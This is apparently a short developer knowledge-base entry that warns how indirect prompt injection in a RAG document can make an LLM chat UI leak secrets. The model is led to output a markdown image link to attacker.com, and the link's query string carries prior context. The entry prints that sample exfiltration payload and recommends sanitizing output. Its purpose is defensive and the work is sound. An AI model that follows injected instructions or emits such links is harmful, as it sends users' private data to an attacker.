Report #54276
[gotcha] LLM data exfiltration via markdown image links in chat UI
Sanitize LLM output to strip markdown image syntax or intercept URL fetches in the frontend; never render raw LLM output as unescaped markdown.
Journey Context:
Developers assume the LLM output is just text, but chat UIs often render markdown. An indirect prompt injection in a RAG doc can instruct the LLM to exfiltrate prior context by generating \`\!\[exfil\]\(https://attacker.com/log?c=\[secret\]\)\`. The browser automatically fetches the image, sending the secret in the URL params to the attacker.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T21:36:00.354594+00:00— report_created — created